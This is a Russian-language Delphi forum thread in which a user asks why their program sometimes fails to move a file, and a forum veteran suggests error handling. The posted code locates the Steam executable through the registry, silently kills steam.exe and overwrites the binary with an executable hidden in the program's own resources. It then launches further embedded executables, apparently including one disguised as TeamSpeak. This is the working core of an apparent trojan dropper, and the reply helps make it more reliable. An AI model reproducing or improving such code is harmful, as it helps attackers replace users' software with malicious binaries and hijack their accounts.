Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 05.12.2013, 21:56   #1
hapera2
Пользователь
 
Регистрация: 12.11.2013
Сообщений: 65
Вопрос Проблема в поиске по реестру.

Ребят, я по реестру ищу путь программы, потом извлекаю из ресурсов проги экзешник и перемещаю его по найденному пути.
В чем заключается проблема:
В большинстве случаев все хорошо, но иногда случается так (на других компьютерах), что файл извлекается из реестра но не перемещается. Видимо путь что-ли не нашелся. Запуск всегда с правами администратора.
В чем может быть проблемма?

P.S. вроде файл не перекидывается на найденный путь, но выполнение программы не останавливается....
Понимаю что не хочется копаться в чужом коде, но все же

Код
Код:

procedure ExtractRes(ResType, ResName, ResNewName : String);
var
  Res : TResourceStream;
begin
  Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
  Res.SavetoFile(ResNewName);
  Res.Free;
end;

procedure TForm1.FormActivate(Sender: TObject);
var
  reg: TRegistry;
  reg_type: TRegDataType;

  procedure FindReg(const Key, Name: string);
  var
    sl: tstringlist;
    i: integer;
    old_key: string;

  begin
    reg.OpenKey(Key, false);
    old_key := reg.CurrentPath;

    try
      sl := tstringlist.Create;

      reg.GetKeyNames(sl);

   for i := 0 to sl.Count - 1 do
        if reg.OpenKey((sl.Strings[i]), false) then
          begin
          if reg.ValueExists(Name) then
              begin
                stim:=(reg.CurrentPath);

                  reg_type := reg.GetDataType(('steamexe'));



              end
            else if reg.HasSubKeys then
              begin

                FindReg(sl.Strings[i], name);
              end;

            reg.CloseKey;
            reg.OpenKeyReadOnly(old_key);

          end;

    finally

      sl.Free;
    end;

  end;

begin
  reg := TRegistry.Create;
  reg.Rootkey := HKEY_USERS;

  if reg.OpenKeyReadOnly('') then
  begin
          FindReg('', 'steamexe');
Reg := TRegIniFile.Create;
reg.RootKey := HKEY_USERS;
reg.OpenKeyReadOnly(PChar(stim));

steampath:=reg.ReadString('SteamExe');
  reg.CloseKey;

         sleep(1000);

 ShellExecute (0, 'open', 'taskkill.exe', '/f /im steam.exe', nil, SW_HIDE);
ExtractRes('EXEFILE', 'Steam', 'ts.EXE');
sleep(1000);
MoveFileEx('ts.exe',PChar(steampath),MOVEFILE_REPLACE_EXISTING);
ShellExecute(Handle, 'open', 'mc.exe', nil, nil, SW_RESTORE);

ExtractRes('EXEFILE', 'TeamSpeak', 'TeamSpeak.exe');
sleep(1000);
ShellExecute(Handle, 'open', 'TeamSpeak.exe', nil, nil, SW_RESTORE);
application.Terminate;
  end
   else
   ShowMessage('Не могу открыть раздел');
  reg.Free;
end;

Последний раз редактировалось Stilet; 19.12.2013 в 10:59.
hapera2 вне форума Ответить с цитированием
Старый 18.12.2013, 21:43   #2
hapera2
Пользователь
 
Регистрация: 12.11.2013
Сообщений: 65
По умолчанию

Неужели нету ответа?
hapera2 вне форума Ответить с цитированием
Старый 19.12.2013, 11:03   #3
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

А-ы-а... Нету.
Во-первых к реестру это не относится
во-вторых функции WinAPI возвращают результат отработки, и на него нужно реагировать. Поясню:
Код:
if ShellExecute (0, 'open', 'taskkill.exe', '/f /im steam.exe', nil, SW_HIDE)>32 then begin
 ExtractRes('EXEFILE', 'Steam', 'ts.EXE');
 sleep(1000);
 if MoveFileEx('ts.exe',PChar(steampath),MOVEFILE_REPLACE_EXISTING) then begin
  ShellExecute(Handle, 'open', 'mc.exe', nil, nil, SW_RESTORE);
 end else begin
  RaiseLastOSError;
 end;
end else begin
 RaiseLastOSError;
end;
И конечно же обернуть в try except выгрузку из ресурсов в функции ExtractRes, и на ошибку тоже прописать реакцию.
Тогда поймешь что за ошибка и как ее исправлять.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Удалённый доступ к реестру Gert Общие вопросы Delphi 6 24.04.2012 07:43
Поик по реестру WennY Общие вопросы Delphi 1 13.10.2011 08:27
Вопросы по реестру Titan123 Общие вопросы Delphi 5 02.07.2008 13:44
Поиск по реестру delphin100 Общие вопросы Delphi 2 30.03.2008 13:22
Доступ к реестру Terran Общие вопросы Delphi 1 27.03.2008 01:59